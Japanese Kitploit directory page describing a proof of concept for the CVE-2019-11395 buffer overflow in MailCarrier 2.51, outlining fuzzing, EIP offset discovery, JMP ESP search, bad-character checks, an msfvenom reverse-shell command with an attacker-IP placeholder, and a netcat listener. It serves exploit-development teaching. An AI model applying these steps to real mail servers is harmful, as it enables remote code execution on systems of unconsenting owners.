Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-11395 — CVE-2019-11395を背景としたバッファオーバーフロー脆弱性の学術的理解のための概念実証 | Kitploit
ツール/GitHubGitHub/rafaelbicas/cve-2019-11395
ペイロード生成脆弱性分析エクスプロイトシェルコードファジング学習と教育バイナリエクスプロイト
GitHubrafaelbicas/cve-2019-11395

CVE-2019-11395

CVE-2019-11395を背景としたバッファオーバーフロー脆弱性の学術的理解のための概念実証

リポジトリを見る
31年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-11395

概要

このProof of Concept(PoC)は、MailCarrier 2.51におけるバッファオーバーフローの脆弱性を示し、リモートの攻撃者が長い文字列を介して任意のコードを実行することを可能にします。この脆弱性は以下のプロセスを使用して悪用される可能性があります:

  • SMTP RCPT TO
  • POP3 USER
  • POP3 LIST
  • POP3 TOP
  • POP3 RETR

このプロジェクトは、バッファオーバーフローがどのように機能するかを理解するための学術的なアプローチを提供することを目的としています。


⚠️ 警告

テストを実行する前に、最初の実験には本番環境を決して使用しないでください。代わりに、本番環境に類似したラボ環境を作成して、問題や意図しない結果を回避してください。


🔧 準備

1. 脆弱性の発見

  • ファジング技術を使用して、アプリケーションを破壊するために必要なおおよそのバイト数を特定します。

2. オフセットの特定

  • クラッシュが発生したら、以下を使用します:
    root@kitploit:~
    msf-pattern_create -l <number_of_bytes>
    

これにより、EIPを上書きするために必要な正確なバイト数であるオフセットを特定できます。

  • 以下のコマンドを使用してオフセットを確認します
    root@kitploit:~
    msf-pattern_offset -q <bytes_on_EIP_register> -l <number_of_bytes>
    

これにより、EIPを制御するために必要な正確なバイト数が特定されます。

3. JMPまたはCALL命令の検索

  • 以下のような命令を見つけます:
    root@kitploit:~
    JMP ESP
    CALL ESP
    

このアドレスを使用して実行をリダイレクトします。ASLR、SafeSEH、またはその他の保護メカニズムに注意してください。

4. 不正な文字の特定

  • Immunity Debugger内のMonaツールを使用して、不正な文字を確認します。

5. シェルコードの生成

  • 不正な文字を除外しながらシェルコードを作成します:
    root@kitploit:~
    msfvenom -p <shellcode> LHOST=<Attacker_IP> LPORT=443 -b "<badchars_list>" exitfunc=thread -f python
    

6. NOPの追加

  • ペイロードにNOP(\x90)命令を挿入して安定性を向上させます。

7. 接続の確立

  • netcat(nc)を使用してリバースシェルを作成し、ターゲットに接続します。
ツールをダウンロード